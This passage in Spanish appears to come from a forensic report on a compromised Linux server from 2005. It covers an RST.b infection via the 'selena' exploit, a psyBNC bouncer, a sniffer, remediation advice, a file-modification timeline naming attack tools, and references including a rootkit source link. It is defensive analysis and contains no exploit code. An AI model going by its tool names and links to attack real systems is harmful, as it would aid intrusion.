acceso a la red Es infectado por el virus RST.b por la ejecución del exploit selena.tar.gz sobre los ejecutables gawk, gawk-3.1.0, chmod ... de /x/bin/ . Se instala psyBNC un bouncer de IRC, nombre con el que se conocen a los proxy para el IRC. permitiendo ocultarla IP real. Segun conversaciones de chat recogidos de la partición de la swap el intruso puede ser Italiano. Con pocos conocimientos de las herramientas utilizadas RECOMENDACIONES Del estudio de todo el análisis, de la forma en que se llevó a cabo la intrusión y del resultado exitoso de la misma se desprenden una serie de conclusiones a tener en cuenta: En primer lugar, la máquina objeto del análisis no debería ser restaurada desde el estado actual. Lo mejor sería reinstalarla desde cero y por completo. Debido a la existencia de un sníffer, y a que la información del sistema se envió al menos a una dirección de correo, lo más recomendable sería modificar las contraseñas (especialmente de los usuarios root y contador). A pesar de no tener evidencias de que el sníffer registrase información de relevancia, toda la red debe ser revisada adecuadamente. Se debe evaluar la posibilidad de cambiar todas las contraseñas incluidas aquellas de acceso a cuentas de correo electrónico y a páginas web. Es importante realizar una revisión diaria de los ficheros de "log" ( registros de sucesos) de las máquinas, especialmente aquellas expuestas a Internet. En este caso, un vistazo a la carpeta /var/log nos informaría de un acceso no autorizado por su borrado total. Hemos visto que no son necesarios amplios conocimientos de informática para conseguir comprometer una máquina en Internet. Tal y como se desprende del análisis, el empleo de ciertas herramientas automatizadas permite que personas de cualquier edad y condición comprometa los recursos de un ordenador sin que ello requiera mucho esfuerzo ni gran habilidad. Un atacante experimentado podría haber pasado mucho más desapercibido y haber causado mucho más daño. Se recomienda revisar adecuadamente las políticas de seguridad, teniendo en cuenta lo expuesto en este informe. Tiempos modificados del sistema # 29/01/2005 # 11:02:07.000000000 +0100 daily_usage_200501.png 11:02:07.000000000 +0100 webalizer.current 11:02:08.000000000 +0100 ctry_usage_200501.png 11:02:08.000000000 +0100 hourly_usage_200501.png 11:02:08.000000000 +0100 index.html 11:02:08.000000000 +0100 usage.png 11:02:08.000000000 +0100 usage_200501.html 11:02:08.000000000 +0100 webalizer.hist 22:16:49.000000000 +0100 . 22:16:49.000000000 +0100 dev 22:16:49.000000000 +0100 gawk 22:16:49.000000000 +0100 gawk-3.1.0 22:16:49.000000000 +0100 hdx1 22:16:49.000000000 +0100 hdx2 22:17:13.000000000 +0100 .bash_logout 22:17:13.000000000 +0100 .bash_profile 22:17:13.000000000 +0100 .bashrc 22:17:13.000000000 +0100 home 22:18:35.000000000 +0100 passwd22:19:33.000000000 +0100 libproc.so -> libproc.so.2.0.6 22:20:55.000000000 +0100 . 22:20:55.000000000 +0100 raiz 22:21:49.000000000 +0100 chmod 22:21:50.000000000 +0100 cycomm 22:21:50.000000000 +0100 hosts.h 22:21:50.000000000 +0100 include 22:21:50.000000000 +0100 init.d 22:21:50.000000000 +0100 ld.so.cache 22:21:50.000000000 +0100 ld.so.hash 22:21:50.000000000 +0100 lib 22:21:50.000000000 +0100 libext-2.so.7 22:22:00.000000000 +0100 . 22:22:00.000000000 +0100 init 22:22:00.000000000 +0100 initsk12 22:22:00.000000000 +0100 sbin 22:22:20.000000000 +0100 . 22:22:20.000000000 +0100 .. 22:22:20.000000000 +0100 .bash_history 22:22:20.000000000 +0100 root 22:22:22.000000000 +0100 . 22:22:22.000000000 +0100 .ssh 22:22:22.000000000 +0100 known_hosts 22:22:55.000000000 +0100 shadow22:25:25.000000000 +0100 . 22:25:25.000000000 +0100 etc 22:25:25.000000000 +0100 passwd 22:25:25.000000000 +0100 shadow 22:26:47.000000000 +0100 22:27:01.000000000 +0100 .info 22:27:24.000000000 +0100 .bash_history 22:36:43.000000000 +0100 . 22:36:43.000000000 +0100 200.207.pscan.139 22:36:43.000000000 +0100 w00t 22:46:42.000000000 +0100 psybnc.log 22:46:42.000000000 +0100 psybnc.pid 22:48:18.000000000 +0100 . 22:48:18.000000000 +0100 USER1.TRL 22:48:18.000000000 +0100 log 22:49:40.000000000 +0100 . 22:49:40.000000000 +0100 USER1.MOTD 22:49:40.000000000 +0100 motd # 31/01/2005 # 10:12:48.000000000 +0100 . 10:12:48.000000000 +0100 USER1.LOG 10:12:48.000000000 +0100 psybnc 11:02:00.000000000 +0100 cron.daily 11:02:00.000000000 +0100 logrotate.status 11:02:01.000000000 +0100 log 11:02:01.000000000 +0100 rpm 11:02:01.000000000 +0100 rpmpkgs 11:12:07.000000000 +0100 . 11:12:07.000000000 +0100 slocate 11:12:07.000000000 +0100 slocate.db 18:54:37.000000000 +0100 . 18:54:37.000000000 +0100 tmp 18:54:57.000000000 +0100 ssvuln 19:02:17.000000000 +0100 217.172.pscan.443 19:02:28.000000000 +0100 . 19:02:28.000000000 +0100 217.172.ssl 19:02:28.000000000 +0100 oops 19:02:28.000000000 +0100 selena 19:03:25.000000000 +0100 217.172.ssl.out 19:03:25.000000000 +0100 sslex 19:03:40.000000000 +0100 .bash_history 19:03:40.000000000 +0100 chgrp 19:03:40.000000000 +0100 chown 19:03:40.000000000 +0100 cpio 19:03:40.000000000 +0100 dd 19:03:40.000000000 +0100 df 19:03:40.000000000 +0100 ed 19:03:40.000000000 +0100 hostname 19:03:40.000000000 +0100 ln 19:03:40.000000000 +0100 ls 19:03:40.000000000 +0100 mail 19:03:40.000000000 +0100 mkdir 19:03:40.000000000 +0100 mknod 19:03:40.000000000 +0100 mktemp 19:03:40.000000000 +0100 mt 19:03:40.000000000 +0100 netstat 19:03:40.000000000 +0100 ping 19:03:40.000000000 +0100 setserial 19:03:40.000000000 +0100 ssl 19:03:40.000000000 +0100 sslx 19:03:40.000000000 +0100 ssx 20:31:00.000000000 +0100 dfj0VJV0A25551 20:31:05.000000000 +0100 . 20:31:05.000000000 +0100 tmp 21:59:23.000000000 +0100 qfj0VJV0A25551 22:20:00.000000000 +0100 root 22:20:01.000000000 +0100 mail 22:20:01.000000000 +0100 mqueue 22:20:01.000000000 +0100 statistics 22:25:00.000000000 +0100 . 22:25:00.000000000 +0100 mrtg 22:25:00.000000000 +0100 mrtg.ok Referencias: http://www.sleuthkit.org/sleuthkit/index.php http://www.linuxsecurity.com/feature_stories/data-hiding-forensics.html http://hysteria.sk/sd/f/suckit/sk-1.3b/ http://archives.neohapsis.com/ http://www.viruslist.com/ http://www.cert.org/ http://www.psychoid.lam3rz.de http://project.honeynet.org/challenge/results/submissions/roessler/evidence.txt. http://www.lurhq.com/atd.html http://www.shoutcast.com http://packetstormsecurity.nl http://www.rsasecurity.com/ http://www.faqs.org/rfcs/ http://www.redhat.com/ http://www.google.com http://www.freshmeat.net http://www.securityfocus.com http://www.sleuthkit.org/sleuthkit/index.php http://www.ibiblio.org/ http://www.uk.research.att.com/vnc/index.html http://www.kb.cert.org/